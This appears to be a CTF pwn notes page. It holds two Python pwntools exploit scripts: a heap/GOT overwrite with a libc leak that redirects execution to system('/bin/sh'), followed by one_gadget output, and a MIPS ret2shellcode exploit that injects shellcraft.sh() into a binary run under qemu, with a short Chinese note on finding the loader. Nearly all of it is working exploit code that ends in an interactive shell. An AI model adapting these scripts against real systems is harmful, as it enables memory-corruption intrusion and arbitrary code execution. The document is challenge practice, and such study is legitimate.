rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
sla=lambda con,s :p.sendlineafter(con,s)
sa=lambda con,s :p.sendafter(con,s)
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
def modif(x,y,data):
sla("> ","p")
sl(str(x)+" "+str(y)+" "+hex(data)[2:])
def remalloc(x,y):
sla("> ","r")
sl(str(x)+" "+str(y))
got=0x404000
remalloc(1,0x10)
remalloc(1,0x190)
modif(0,-0x1f0-0x20,0x30)
modif(0,-0x1f0-0x20+1,0x40)
modif(0,-0x1f0-0x20+2,0x40)
modif(0,-0x1f0-0x20+3,0x00)
# modif(0,0,)
remalloc(1,0x10)
#0x401408
modif(0,0,0xef)
modif(0,1,0x15)
modif(0,2,0x40)
modif(0,3,0x0)
modif(0,4,0x0)
modif(0,5,0x0)
modif(0,6,0x0)
modif(0,7,0x0)
# modif(0,8,0x0)
# 0x4040b8
modif(0,0+0x18,0xa4)
modif(0,1+0x18,0x14)
modif(0,2+0x18,0x40)
modif(0,3+0x18,0x0)
modif(0,4+0x18,0x0)
modif(0,5+0x18,0x0)
modif(0,6+0x18,0x0)
modif(0,7+0x18,0x0)
# modif(0,8+8,0x0)
sla("> ","r")
sl(str(1)+" "+str(0x404000))
# p.recv()
libc_base=u64(p.recv(6)+b'\x00\x00')-0x70f5266add30+0x70f526600000
sys=libc_base+0x58750
sl("p")
sl(str(0)+" "+str(0)+" "+hex(0xde)[2:])
modif(0,-0x30,sys&0xff)
modif(0,-0x30+1,(sys&0xff00)//0x100)
modif(0,-0x30+2,(sys&0xff0000)//0x10000)
modif(0,-0x30+3,(sys&0xff000000)//0x1000000)
modif(0,-0x30+4,(sys&0xff00000000)//0x100000000)
modif(0,-0x30+5,(sys&0xff0000000000)//0x10000000000)
# modif(0,-0x30+6,(sys&0xff00)//0x100)
# modif(0,-0x30+1,(sys&0xff00)//0x100)
sys=libc_base+0x58750
modif(0,0,sys&0xff)
modif(0,1,(sys&0xff00)//0x100)
modif(0,2,(sys&0xff0000)//0x10000)
modif(0,3,(sys&0xff000000)//0x1000000)
modif(0,4,(sys&0xff00000000)//0x100000000)
modif(0,5,(sys&0xff0000000000)//0x10000000000)
0x68732f6e
modif(0,0x100,0x2f)
modif(0,0x100+1,0x62)
modif(0,0x100+2,0x69)
modif(0,0x100+3,0x6e)
modif(0,0x100+4,0x2f)
modif(0,0x100+5,0x73)
modif(0,0x100+6,0x68)
# gdb.attach(p)
remalloc(0x404130,1)
print(hex(libc_base))
p.interactive()
# 0x583ec posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rax == NULL || {"sh", rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
# 0x583f3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
# constraints:
# address rsp+0x68 is writable
# rsp & 0xf == 0
# rcx == NULL || {rcx, rax, rip+0x17301e, r12, ...} is a valid argv
# rbx == NULL || (u16)[rbx] == NULL
# 0xef4ce execve("/bin/sh", rbp-0x50, r12)
# constraints:
# address rbp-0x48 is writable
# rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
# [r12] == NULL || r12 == NULL || r12 is a valid envp
# 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
# constraints:
# address rbp-0x50 is writable
# rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
# [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp
outdated
mipsr6el32架构ret2shellcode
坐牢找ld找了一天… … 网上都是r2的,apt的也都是r2的 最后用buildroot编译了一个mipsr6el32的rootfs才找到r6的
# sudo sysctl -w kernel.randomize_va_space=0
from pwn import*
from Crypto.Util.number import long_to_bytes,bytes_to_long
context.log_level='debug'
context(arch='mips',os='linux')
context.terminal=['tmux','splitw','-h']
ELFpath = './outdated'
#p=remote(' ',)
#p=process(['./ld-2.31.so', ELFpath], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process(["qemu-mipsel","-g","9999",ELFpath])
#elf=ELF(ELFpath)
#libc=ELF('./libc.so.6')
rut=lambda s :p.recvuntil(s,timeout=0.3)
ru=lambda s :p.recvuntil(s)
r=lambda n :p.recv(n)
sl=lambda s :p.sendline(s)
sls=lambda s :p.sendline(str(s))
sla=lambda con,s :p.sendlineafter(con,s)
sa=lambda con,s :p.sendafter(con,s)
ss=lambda s :p.send(str(s))
s=lambda s :p.send(s)
uu64=lambda data :u64(data.ljust(8,'\x00'))
it=lambda :p.interactive()
b=lambda :gdb.attach(p)
bp=lambda bkp:gdb.attach(p,'b *'+str(bkp))
get_leaked_libc = lambda :u64(ru(b'\x7f')[-6:].ljust(8,b'\x00'))
def ptrxor(pos,ptr):
return p64((pos >> 12) ^ ptr)
p.recvuntil("0x")
addr=int(p.recv(8),16)-0x9d0+0x200C0
sla("o name your game",asm(shellcraft.sh())[:0x5f])
sla("Which level do you want to change?",str(((0x40-8-8)&0xffffffff)//2))
sla("What reward do you want to set for this level?",str(0xff))
p.interactive()